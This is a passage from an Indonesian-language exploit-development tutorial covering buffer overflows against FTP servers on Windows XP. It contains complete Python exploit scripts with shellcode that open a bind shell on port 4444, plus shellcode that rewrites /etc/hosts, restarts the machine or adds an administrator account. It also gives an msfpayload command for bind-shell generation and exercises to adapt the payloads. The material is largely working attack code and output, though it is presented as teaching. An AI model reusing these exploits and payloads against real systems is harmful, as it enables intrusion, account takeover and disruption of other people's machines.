nop = "\x90"*35
shellcode = ("\xba\x1f\xb5\xae\xa1\xdd\xc4\xd9\x74\x24\xf4\x5e\x33\xc9" +
"\xb1\x56\x31\x56\x13\x83\xc6\x04\x03\x56\x10\x57\x5b\x5d" +
"\xc6\x1e\xa4\x9e\x16\x41\x2c\x7b\x27\x53\x4a\x0f\x15\x63" +
"\x18\x5d\x95\x08\x4c\x76\x2e\x7c\x59\x79\x87\xcb\xbf\xb4" +
"\x18\xfa\x7f\x1a\xda\x9c\x03\x61\x0e\x7f\x3d\xaa\x43\x7e" +
"\x7a\xd7\xab\xd2\xd3\x93\x19\xc3\x50\xe1\xa1\xe2\xb6\x6d" +
"\x99\x9c\xb3\xb2\x6d\x17\xbd\xe2\xdd\x2c\xf5\x1a\x56\x6a" +
"\x26\x1a\xbb\x68\x1a\x55\xb0\x5b\xe8\x64\x10\x92\x11\x57" +
"\x5c\x79\x2c\x57\x51\x83\x68\x50\x89\xf6\x82\xa2\x34\x01" +
"\x51\xd8\xe2\x84\x44\x7a\x61\x3e\xad\x7a\xa6\xd9\x26\x70" +
"\x03\xad\x61\x95\x92\x62\x1a\xa1\x1f\x85\xcd\x23\x5b\xa2" +
"\xc9\x68\x38\xcb\x48\xd5\xef\xf4\x8b\xb1\x50\x51\xc7\x50" +
"\x85\xe3\x8a\x3c\x6a\xde\x34\xbd\xe4\x69\x46\x8f\xab\xc1" +
"\xc0\xa3\x24\xcc\x17\xc3\x1f\xa8\x88\x3a\x9f\xc9\x81\xf8" +
"\xcb\x99\xb9\x29\x73\x72\x3a\xd5\xa6\xd5\x6a\x79\x18\x96" +
"\xda\x39\xc8\x7e\x31\xb6\x37\x9e\x3a\x1c\x4e\x98\xf4\x44" +
```

```
"\x03\x4f\xf5\x7a\xb2\xd3\x70\x9c\xde\xfb\xd4\x36\x76\x3e" +
"\x03\x8f\xe1\x41\x61\xa3\xba\xd5\x3d\xad\x7c\xd9\xbd\xfb" +
"\x2f\x76\x15\x6c\xbb\x94\xa2\x8d\xbc\xb0\x82\xc4\x85\x53" +
"\x58\xb9\x44\xc5\x5d\x90\x3e\x66\xcf\x7f\xbe\xe1\xec\xd7" +
"\xe9\xa6\xc3\x21\x7f\x5b\x7d\x98\x9d\xa6\x1b\xe3\x25\x7d" +
"\xd8\xea\xa4\xf0\x64\xc9\xb6\xcc\x65\x55\xe2\x80\x33\x03" +
"\x5c\x67\xea\xe5\x36\x31\x41\xac\xde\xc4\xa9\x6f\x98\xc8" +
"\xe7\x19\x44\x78\x5e\x5c\x7b\xb5\x36\x68\x04\xab\xa6\x97" +
"\xdf\x6f\xd6\xdd\x7d\xd9\x7f\xb8\x14\x5b\xe2\x3b\xc3\x98" +
"\x1b\xb8\xe1\x60\xd8\xa0\x80\x65\xa4\x66\x79\x14\xb5\x02" +
"\x7d\x8b\xb6\x06")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.35", 80))
buf = "POST / %s HTTP/1.1\r\nHost:192.168.1.31\r\n\r\n" % (buffer+eip+nop+shellcode)

s.send(buf)
s.close()
```

14.12 Vulnerability Development pada Sami FTP Server 2.0.1

Buka Immunity debugger

Masuk ke C:\Program files\PMSystem lalu buka file PMSystem.exe dengan immunity Debugger

Jalankan program

```
#!/usr/bin/python

import socket

buf = "\x41" * 1000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.31",21))
print s.recv(1024)
s.send("USER data\r\n")
print s.recv(1024)
s.send("PASS data\r\n")
print s.recv(1024)
s.send("LIST " + buf + "\r\n")
print s.recv(1024)
s.close()
```

Di sini dikirimkan "\x41" sebanyak 1000 ke command LIST lalu klik Log

Hasilnya paket "\x41" yang dikirimkan mengenai EIP

ruby pattern_create.rb 1000

```
#!/usr/bin/python


import socket


buf =
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7
Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6
Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai
6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al
8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao
4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar
2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2
Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9
Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8A
z9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7B
c8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7
Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
```

```
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.31",21))
print s.recv(1024)
s.send("USER data\r\n")
print s.recv(1024)
s.send("PASS data\r\n")
print s.recv(1024)
print "[+] sending payload of size", len(buf)
s.send("LIST " + buf + "\r\n")
print s.recv(1024)
s.close()
```

Pilih Debug lalu restart

Kirim hasil dari pattern_create.rb ke LIST lalu klik Log

Nilai EIP 68413268

```
C:\Program Files\Rapid7\framework\msf3\tools>ruby pattern_offset.rb 68413268
217

C:\Program Files\Rapid7\framework\msf3\tools>
```

ruby pattern_offset.rb 68413268

!mona modules /mod

Klik view lalu Executable modules

Pilih SHELL32.dll

Klik kanan lalu pilih Search for lalu pilih Command

Ketik JMP ESP lalu enter

Hasil dari pencarian dengan JMP ESP

```
#!/usr/bin/python

import socket
buf = "\x41" * 217
eip = "\x40\x45\x3D\x77"
nop = "\x90" * 37
shellcode  = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
shellcode += "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
shellcode += "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
shellcode += "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
shellcode += "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e"
```

```
shellcode += "\x4d\x34\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x42\x46\x4b\x58"
shellcode += "\x4e\x56\x46\x42\x46\x42\x4b\x58\x45\x54\x4e\x53\x4b\x48\x4e\x57"
shellcode += "\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x48\x4f\x44\x4a\x51\x4b\x38"
shellcode += "\x4f\x55\x42\x32\x41\x50\x4b\x4e\x49\x44\x4b\x58\x46\x33\x4b\x58"
shellcode += "\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c"
shellcode += "\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
shellcode += "\x46\x4f\x4b\x53\x46\x35\x46\x52\x4a\x42\x45\x57\x45\x4e\x4b\x48"
shellcode += "\x4f\x45\x46\x52\x41\x30\x4b\x4e\x48\x46\x4b\x38\x4e\x50\x4b\x54"
shellcode += "\x4b\x48\x4f\x45\x4e\x41\x41\x30\x4b\x4e\x43\x30\x4e\x32\x4b\x58"
shellcode += "\x49\x48\x4e\x36\x46\x42\x4e\x41\x41\x56\x43\x4c\x41\x53\x4b\x4d"
shellcode += "\x46\x56\x4b\x38\x43\x54\x42\x43\x4b\x58\x42\x44\x4e\x30\x4b\x38"
shellcode += "\x42\x47\x4e\x41\x4d\x4a\x4b\x58\x42\x44\x4a\x30\x50\x55\x4a\x56"
shellcode += "\x50\x48\x50\x34\x50\x30\x4e\x4e\x42\x45\x4f\x4f\x48\x4d\x48\x36"
shellcode += "\x43\x45\x48\x56\x4a\x46\x43\x53\x44\x33\x4a\x46\x47\x37\x43\x57"
shellcode += "\x44\x33\x4f\x35\x46\x35\x4f\x4f\x42\x4d\x4a\x36\x4b\x4c\x4d\x4e"
shellcode += "\x4e\x4f\x4b\x53\x42\x45\x4f\x4f\x48\x4d\x4f\x35\x49\x38\x45\x4e"
shellcode += "\x48\x46\x41\x58\x4d\x4e\x4a\x30\x44\x30\x45\x35\x4c\x36\x44\x30"
shellcode += "\x4f\x4f\x42\x4d\x4a\x46\x49\x4d\x49\x50\x45\x4f\x4d\x4a\x47\x35"
shellcode += "\x4f\x4f\x48\x4d\x43\x35\x43\x45\x43\x55\x43\x45\x43\x35\x43\x34"
shellcode += "\x43\x55\x43\x34\x43\x45\x4f\x4f\x42\x4d\x48\x46\x4a\x36\x41\x41"
shellcode += "\x4e\x45\x48\x36\x43\x45\x49\x58\x41\x4e\x45\x39\x4a\x56\x46\x4a"
shellcode += "\x4c\x31\x42\x37\x47\x4c\x47\x45\x4f\x4f\x48\x4d\x4c\x46\x42\x31"
shellcode += "\x41\x55\x45\x55\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x42"
shellcode += "\x49\x4e\x47\x45\x4f\x4f\x48\x4d\x43\x55\x45\x35\x4f\x4f\x42\x4d"
shellcode += "\x4a\x36\x45\x4e\x49\x54\x48\x58\x49\x44\x47\x55\x4f\x4f\x48\x4d"
shellcode += "\x42\x55\x46\x35\x46\x35\x45\x35\x4f\x4f\x42\x4d\x43\x39\x4a\x56"
shellcode += "\x47\x4e\x49\x47\x48\x4c\x49\x37\x47\x45\x4f\x4f\x48\x4d\x45\x45"
shellcode += "\x4f\x4f\x42\x4d\x48\x46\x4c\x36\x46\x56\x48\x36\x4a\x46\x43\x46"
shellcode += "\x4d\x46\x49\x58\x45\x4e\x4c\x56\x42\x35\x49\x55\x49\x52\x4e\x4c"
shellcode += "\x49\x38\x47\x4e\x4c\x56\x46\x54\x49\x58\x44\x4e\x41\x53\x42\x4c"
shellcode += "\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x52\x50\x4f\x44\x34\x4e\x32"
```

```
shellcode += "\x43\x49\x4d\x48\x4c\x47\x4a\x33\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36"
shellcode += "\x44\x47\x50\x4f\x43\x4b\x48\x41\x4f\x4f\x45\x57\x46\x34\x4f\x4f"
shellcode += "\x48\x4d\x4b\x45\x47\x55\x44\x55\x41\x45\x41\x35\x41\x55\x4c\x36"
shellcode += "\x41\x30\x41\x35\x41\x55\x45\x45\x41\x45\x4f\x4f\x42\x4d\x4a\x56"
shellcode += "\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x35\x4f\x4f\x48\x4d\x4c\x56"
shellcode += "\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f\x42\x4d\x4b\x38\x47\x55\x4e\x4f"
shellcode += "\x43\x48\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x55\x4f\x4f\x42\x4d"
shellcode += "\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x43\x55\x4f\x4f\x48\x4d"
shellcode += "\x4f\x4f\x42\x4d\x5a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.31",21))
print s.recv(1024)
s.send("USER anonymous\r\n")
print s.recv(1024)
s.send("PASS anonymous\r\n")
print s.recv(1024)
s.send("LIST " + buf + eip + nop + shellcode + "\r\n")
print s.recv(1024)
s.close()
```

Klik Log

```
Command
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Program Files\PMSystem>exit
exit


Connection to host lost.

C:\Python27>python sami15.py
220-
220 Features p a .

331 Password required.

530 User or password not correct.

530 Log in with USER and PASS first.


C:\Python27>telnet 192.168.1.31 4444
```

Jalankan Exploit lalu masuk ke target melalui telnet dengan port 4444

```
Telnet 192.168.1.31
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Program Files\PMSystem>_
```

Hasilnya setelah melakukan koneksi telnet

14.13 Shellcode

Dalam bidang keamanan komputer, Shellcode adalah kode yang digunakan dengan payload untuk mengeksploitasi komputer target. Biasanya shellcode dibuat untuk dapat mengontrol komputer, ataupun mendapatkan hak akses komputer target, atau yang lainnya. Shellcode dimasukkan ke dalam kode exploit dengan tujuan mem-baypass fungsi suatu perangkat lunak, sehingga software tersebut tidak berjalan secara semestinya, melainkan menjalankan fungsi pada shellcode.

Sumber : id.wikipedia.org - https://id.wikipedia.org/wiki/Shellcode

Belajar menjadikan source code assembler dijadikan shellcode

https://www.exploit-db.com/exploits/34778/

```
/**

;modify_hosts.asm
```

```
;this program add a new entry in hosts file pointing google.com to 127.1.1.1
;author Javier Tejedor
;date 24/09/2014

global _start

section .text

_start:
    xor ecx, ecx
    mul ecx
    mov al, 0x5
    push ecx
    push 0x7374736f     ;/etc///hosts
    push 0x682f2f2f
    push 0x6374652f
    mov ebx, esp
    mov cx, 0x401       ;permmisions
    int 0x80        ;syscall to open file

    xchg eax, ebx
    push 0x4
    pop eax
    jmp short _load_data    ;jmp-call-pop technique to load the map

_write:
    pop ecx
    push 20         ;length of the string, dont forget to modify if changes the
map
    pop edx
    int 0x80        ;syscall to write in the file

    push 0x6
    pop eax
    int 0x80        ;syscall to close the file

    push 0x1
    pop eax
    int 0x80        ;syscall to exit

_load_data:
    call _write
    google db "127.1.1.1 google.com"
**/
```

XOR

Gerbang XOR adalah kepanjangan dari Exclusive OR, keluarannya akan selalu berlogika 1 jika semua inputannya berbeda, tapi jika inputan nya sama maka akan memberikan output berlogika 0

Tabel kebenaran XOR

A	B	Y
0	0	0
0	1	1
1	0	1
1	1	0

Simpan source code di atas dengan nama shellcode.asm

nasm -f elf shellcode.asm -o shellcode.o

objdump -d shellcode.o

Lihat isi shellcode.o, cocokkan dengan shellcode di bawah ini apakah sama?

```
\x31\xc9\xf7\xe1\xb0\x05\x51\x68\x6f\x73\x74\x73\x68\x2f\x2f\x2f\x68\x68\x2f\x65\
x74\x63\x89\xe3\x66\xb9\x01\x04\xcd\x80\x93\x6a\x04\x58\xeb\x10\x59\x6a\x14\x5a\x
cd\x80\x6a\x06\x58\xcd\x80\x6a\x01\x58\xcd\x80\xe8\xeb\xff\xff\xff\x31\x32\x37\x2
e\x31\x2e\x31\x2e\x31\x20\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\x6d
```

Untuk pengujian agar dapat dieksekusi dilinux, maka compile source code c di bawah ini dengan GCC.

```
#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc9\xf7\xe1\xb0\x05\x51\x68\x6f\x73\x74\x73\x68\x2f\x2f\x2f\x68\x68\x2f\x65
\x74\x63\x89\xe3\x66\xb9\x01\x04\xcd\x80\x93\x6a\x04\x58\xeb\x10\x59\x6a\x14\x5a\
xcd\x80\x6a\x06\x58\xcd\x80\x6a\x01\x58\xcd\x80\xe8\xeb\xff\xff\xff\x31\x32\x37\x
2e\x31\x2e\x31\x2e\x31\x20\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\x6d";

main()
{

        printf("Shellcode Length:  %d\n", strlen(code));

        int (*ret)() = (int(*)())code;

        ret();

}
```

Setelah program dijalankan, periksa di /etc/hosts

14.14 Contoh shellcode sederhana untuk Windows

Contoh shellcode sederhana.

```
BITS 32


global _start


_start:
        xor eax, eax
        inc eax
        dec eax
        jmp _start
```

Sumber shellcode : Danang heriyadi

```
root@dhcppc4:~# nasm -f elf dos.asm -o dos.o
root@dhcppc4:~# objdump -d dos.o

dos.o:     file format elf32-i386


Disassembly of section .text:

00000000 <_start>:
   0:   31 c0                   xor    %eax,%eax
   2:   40                      inc    %eax
   3:   48                      dec    %eax
   4:   eb fa                   jmp    0 <_start>
root@dhcppc4:~#
```

Hasil modifikasi di exploit nya

```
#!/usr/bin/python


import socket
buffer = "\x41" * 485
eip = "\x4A\x75\xD7\x77"
nop = "\x90" * 30
shellcode = (
"\x31\xc0\x40\x48\xeb\xfa"
)
```

```
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.31",21))
print s.recv(1024)
s.send("USER "+buffer+eip+nop+shellcode+"\r\n")
print s.recv(1024)
s.send("PASS anonymous\r\n")
s.close()
```

Jalankan exploit lalu lihat hasilnya di task manager pada bagian penggunaan CPU

Jika membangun shellcode di atas dari bahasa mesin

TABEL SISTEM BILANGAN 8 BIT

Hexa	Desimal	Oktal	Biner
00	000	000	0000 0000
01	001	001	0000 0001
02	002	002	0000 0010
03	003	003	0000 0011
04	004	004	0000 0100
05	005	005	0000 0101
06	006	006	0000 0110
07	007	007	0000 0111
08	008	010	0000 1000
09	009	011	0000 1001
0A	010	012	0000 1010
0B	011	013	0000 1011
0C	012	014	0000 1100
0D	013	015	0000 1101
0E	014	016	0000 1110
0F	015	017	0000 1111

OPCODE

In computing, an opcode (abbreviated from operation code, also known as instruction syllable or opstring is the portion of a machine language instruction that specifies the operation to be performed

Sumber : https://en.wikipedia.org/wiki/Opcode

http://sparksandflames.com/files/x86InstructionChart.html

sparksandflames.com/files/x86InstructionChart.html

Search

Intel x86 Assembler Instruction Set Opcode Table

ADD Eb Gb *00*	**ADD** Ev Gv *01*	**ADD** Gb Eb *02*	**ADD** Gv Ev *03*	**ADD** AL Ib *04*	**ADD** eAX Iv *05*	**PUSH** ES *06*	**POP** ES *07*	**OR** Eb Gb *08*	**OR** Ev Gv *09*	**OR** Gb Eb *0A*	**OR** Gv Ev *0B*	**OR** AL Ib *0C*	**OR** eAX Iv *0D*
ADC Eb Gb *10*	**ADC** Ev Gv *11*	**ADC** Gb Eb *12*	**ADC** Gv Ev *13*	**ADC** AL Ib *14*	**ADC** eAX Iv *15*	**PUSH** SS *16*	**POP** SS *17*	**SBB** Eb Gb *18*	**SBB** Ev Gv *19*	**SBB** Gb Eb *1A*	**SBB** Gv Ev *1B*	**SBB** AL Ib *1C*	**SBB** eAX Iv *1D*
AND Eb Gb *20*	**AND** Ev Gv *21*	**AND** Gb Eb *22*	**AND** Gv Ev *23*	**AND** AL Ib *24*	**AND** eAX Iv *25*	**ES:** *26*	**DAA** *27*	**SUB** Eb Gb *28*	**SUB** Ev Gv *29*	**SUB** Gb Eb *2A*	**SUB** Gv Ev *2B*	**SUB** AL Ib *2C*	**SUB** eAX Iv *2D*
XOR Eb Gb *30*	**XOR** Ev Gv *31*	**XOR** Gb Eb *32*	**XOR** Gv Ev *33*	**XOR** AL Ib *34*	**XOR** eAX Iv *35*	**SS:** *36*	**AAA** *37*	**CMP** Eb Gb *38*	**CMP** Ev Gv *39*	**CMP** Gb Eb *3A*	**CMP** Gv Ev *3B*	**CMP** AL Ib *3C*	**CMP** eAX Iv *3D*
INC eAX *40*	**INC** eCX *41*	**INC** eDX *42*	**INC** eBX *43*	**INC** eSP *44*	**INC** eBP *45*	**INC** eSI *46*	**INC** eDI *47*	**DEC** eAX *48*	**DEC** eCX *49*	**DEC** eDX *4A*	**DEC** eBX *4B*	**DEC** eSP *4C*	**DEC** eBP *4D*
PUSH eAX	**PUSH** eCX	**PUSH** eDX	**PUSH** eBX	**PUSH** eSP	**PUSH** eBP	**PUSH** eSI	**PUSH** eDI	**POP** eAX	**POP** eCX	**POP** eDX	**POP** eBX	**POP** eSP	**POP** eBP

Membuat shellcode dari bilangan biner

```
0011 0001 1100 0000 0100 0000 0100 1000 1110 1011
1111 1010
```

Biner ke Heksadesimal

```
0000 0000 : _start :
```

Intel x86 Assembler Instruction Set

ADD Eb Gb 00	ADD Ev Gv 01	ADD Gb Eb 02	ADD Gv Ev 03	ADD AL Ib 04	ADD eAX Iv 05	PUSH ES 06	PO ES 07
ADC Eb Gb 10	ADC Ev Gv 11	ADC Gb Eb 12	ADC Gv Ev 13	ADC AL Ib 14	ADC eAX Iv 15	PUSH SS 16	PO SS 17
AND Eb Gb 20	AND Ev Gv 21	AND Gb Eb 22	AND Gv Ev 23	AND AL Ib 24	AND eAX Iv 25	ES: 26	DA 27
XOR Eb Gb 30	XOR Ev Gv 31	XOR Gb Eb 32	XOR Gv Ev 33	XOR AL Ib 34	XOR eAX Iv 35	SS: 36	AA 37
INC eAX	INC eCX	INC eDX	INC eBX	INC eSP	INC eBP	INC eSI	INC eD

```
0011 0001 : 31 : xor
```

C0 adalah byte MOD-REG-R / M, yang memiliki format:

0..2: R/M (register or memory, 0..7)

3..5: REG (register, 0..7)

6..7: MOD (addressing mode, 0..4)

Dalam kasus ini :

MOD=11

REG=0

R/M=0

Di sini addressing mode adalah register addressing mode dan the destination dan source registers adalah eax (REG=0) dan eax (R/M=0).

MOD-REG-R/M : http://www.c-jump.com/CIS77/CPU/x86/lecture.html#X77_0060_mod_reg_r_m_byte

Sumber : http://blog.shuningbian.net/2012/07/notes-on-x86-opcodes.html

```
1100 0000 : c0 : eax, eax
```

Eb Gb 20	Ev Gv 21	Gb Eb 22	Gv Ev 23	AL Ib 24	eAX Iv 25	26
XOR Eb Gb 30	XOR Ev Gv 31	XOR Gb Eb 32	XOR Gv Ev 33	XOR AL Ib 34	XOR eAX Iv 35	SS: 36
INC eAX 40	INC eCX 41	INC eDX 42	INC eBX 43	INC eSP 44	INC eBP 45	INC eSI 46
PUSH eAX 50	PUSH eCX 51	PUSH eDX 52	PUSH eBX 53	PUSH eSP 54	PUSH eBP 55	PUSH eSI 56
PUSHA	POPA	BOUND	ARPL	FS:	GS:	OPSIZE:

0100 0000 : 40 : inc eax

ID Iv 5	ES: 26	DAA 27	SUB Eb Gb 28	SUB Ev Gv 29	SUB Gb Eb 2A	SUB Gv Ev 2B	SUB AL Ib 2C
R Iv 5	SS: 36	AAA 37	CMP Eb Gb 38	CMP Ev Gv 39	CMP Gb Eb 3A	CMP Gv Ev 3B	CMP AL Ib 3C
C P 5	INC eSI 46	INC eDI 47	DEC eAX 48	DEC eCX 49	DEC eDX 4A	DEC eBX 4B	DEC eSP 4C
SH P 5	PUSH eSI 56	PUSH eDI 57	POP eAX 58	POP eCX 59	POP eDX 5A	POP eBX 5B	POP eSP 5C

0100 1000 : 48 : dec eax

MOV Ev Iv C7	ENTER Iw Ib C8	LEAVE C9	RETF Iw CA	RETF CB	INT3 CC	INT Ib CD	IN
XLAT D7	ESC 0 D8	ESC 1 D9	ESC 2 DA	ESC 3 DB	ESC 4 DC	ESC 5 DD	E
OUT eAX E7	CALL Jz E8	JMP Jz E9	JMP Ap EA	JMP Jb EB	IN AL DX EC	IN eAX DX ED	C DX
#3 Ev	CLC	STC	CLI	STI	CLD	STD	INC

```
1110 1011 : eb : jmp
1111 1010 : fa : 0 <_start>
```

Disusun dalam bentuk shellcode

```
\x31\xc0\x40\x48\xeb\xfa
```

14.15 Contoh modifikasi shellcode untuk restart

Berdasarkan sumber https://www.exploit-db.com/exploits/36780 shellcode ini hanya ditujukan untuk Windows XP SP3, di sini akan diubah untuk ditujukan Windows XP SP0.

```
/*
#[+] Author: TUNISIAN CYBER
#[+] Title: Shellcode: win32/xp sp3 Restart computer
#[+] Date: 16-04-2015
#[+] Type: Local Exploits
#[+] Tested on: WinXp 32bit SP3
#[+] Friendly Sites: sec4ever.com
#[+] Twitter: @TCYB3R
#[+] Credits: steve hanna
              projectshellcode.com
============================
Assembly:

;create.asm
[Section .text]

BITS 32

global _start

_start:

jmp short GetCommand
CommandReturn:
    pop ebx

    xor eax,eax
    push eax
    push ebx
    mov ebx,0x7c8623ad
    call ebx

    xor eax,eax
    push eax
    mov ebx, 0x7c81cafa
    call ebx

GetCommand:
    call CommandReturn
    db "cmd.exe /C shutdown /r /t 0"
    db 0x00
============================
*/
char shellcode[] = "\xeb\x16\x5b\x31\xc0\x50\x53\xbb\xad\x23\x86\x7c\xff\xd3\x31\xc0\x50\xbb\xfa\xca"
"\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x43\x20"
"\x73\x68\x75\x74\x64\x6f\x77\x6e\x20\x2f\x72\x20\x2f\x74\x20\x30\x00";


int main(int argc, char **argv){int (*f)();f = (int (*)())shellcode;(int)(*f)();}
```

Berikut modifikasinya

Jalankan arwin di Windows XP SP0 seperti di bawah ini

```
D:\>arwin kernel32.dll WinExec
arwin - win32 address resolution program - by steve hanna - v.01
WinExec is located at 0x77e684c6 in kernel32.dll

D:\>arwin kernel32.dll ExitProcess
arwin - win32 address resolution program - by steve hanna - v.01
ExitProcess is located at 0x77e75cb5 in kernel32.dll
```

Di atas kita mendapatkan alamat memory pada WinExec dan ExitProcess., masukkan alamatnya di source assembler, hasilnya seperti di bawah ini :

```
;create.asm
[Section .text]

BITS 32

global _start

_start:

jmp short GetCommand
CommandReturn:
    pop ebx

    xor eax,eax
    push eax
    push ebx
    mov ebx,0x77e684c6
    call ebx

    xor eax,eax
    push eax
    mov ebx, 0x77e75cb5
    call ebx

GetCommand:
    call CommandReturn
    db "cmd.exe /C shutdown /r /t 0"
    db 0x00
```

Simpan dengan nama restartwinxpsp0.asm

nasm -f elf restartwinxpsp0.asm -o restartwinxpsp0.o

objdump -d restarttwinxpsp0.o

Untuk menata shellcodenya

Buat program sederhana untuk menata

ketik nano ditata.txt

for i in $(objdump -d restartwinxpsp0.o |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo

lalu simpan

Untuk menjalankannya ketik ./ditata >> hasil.txt lalu enter

Lihat hasilnya di hasil.txt

Masukkan hasilnya di exploit lalu jalankan.

14.16 Contoh modifikasi shellcode menambah user

Sumber source code :

http://stevenhickson-code.googlecode.com/svn/trunk/BufferOverflow/adduser.asm

Hasil tampilan source code :

```
BITS 32

global _start

_start:

jmp short GetCommand

CommandReturn:
         pop ebx                    ;ebx now holds the handle to the string
         xor eax,eax
         push eax
         xor eax,eax                          ;clear out the registers just in case, probably
doesn't need this
         push ebx
         mov ebx,0x7c86250d
         call ebx                   ;call WinExec(path,showcode)

         xor eax,eax                          ;zero the register again, clears winexec retval
         push eax
         mov ebx, 0x7c81cb12
         call ebx                   ;call ExitProcess(0);


GetCommand:
         call CommandReturn
         db "cmd.exe /c net user USERNAME PASSWORD /ADD && net localgroup Administrators /ADD
USERNAME"
         db 0x00                              ;terminate cmd with null string
```

Mengambil alamat WinExec dan ExitProcess di Windows XP SP0

```
D:\>arwin kernel32.dll WinExec
arwin - win32 address resolution program - by steve hanna - v.01
WinExec is located at 0x77e684c6 in kernel32.dll

D:\>arwin kernel32.dll ExitProcess
arwin - win32 address resolution program - by steve hanna - v.01
ExitProcess is located at 0x77e75cb5 in kernel32.dll
```

Untuk latihan silahkan modifikasi shellcode nya untuk membuat username sendiri dan passwordnya sendiri

Mengambil alamat WinExec dan ExitProcess di Windows 2003 Server

```
C:\Data>arwin kernel32.dll winExec
arwin - win32 address resolution program - by steve hanna - v.01
Error: could find the function in the library!

C:\Data>arwin kernel32.dll WinExec
arwin - win32 address resolution program - by steve hanna - v.01
WinExec is located at 0x77e699c1 in kernel32.dll
```

Untuk latihan silahkan modifikasi shellcode nya untuk membuat username sendiri dan passwordnya sendiri, menjadi level administrator dan membuka akses telnet

14.17 Generate shellcode dengan msfpayload

msfpayload is a command line instance of Metasploit that is used to generate and output all of the various types of shellcode that are available in Metasploit. The most common use of this tool is for the generation of shellcode for an exploit that is not currently in the Metasploit Framework or for testing different types of shellcode and options before finalizing an Exploit Module.

Sumber : https://www.offensive-security.com/metasploit-unleashed/msfpayload/

Contoh generate shellcode dengan msfpayload :

msfpayload windows/shell_bind_tcp lport=4444 exitfunc=process R | msfencode -b '\x00\x0a\x0d' -e x86/shikata_ga_nai -c 7 -t c

14.18 Kasus eksoloitasi program dengan proteksi SEH pada Windows XP SP3

Contoh kasus pada All Media Server untuk pemahaman SEH dan SafeSEH

ALLMediaServer enables you to watch movies, listen to music or view photos from your computer on your TV, smartphone or other equipment Samsung AllShare or DLNA compatible.

Sumber : allmediaserver.org - http://www.allmediaserver.org/

Structured exception handling is a mechanism for handling both hardware and software exceptions. Therefore, your code will handle hardware and software exceptions identically. Structured exception handling enables you to have complete control over the handling of exceptions, provides support for debuggers, and is usable across all programming languages and machines. *Vectored exception handling* is an extension to structured exception handling.

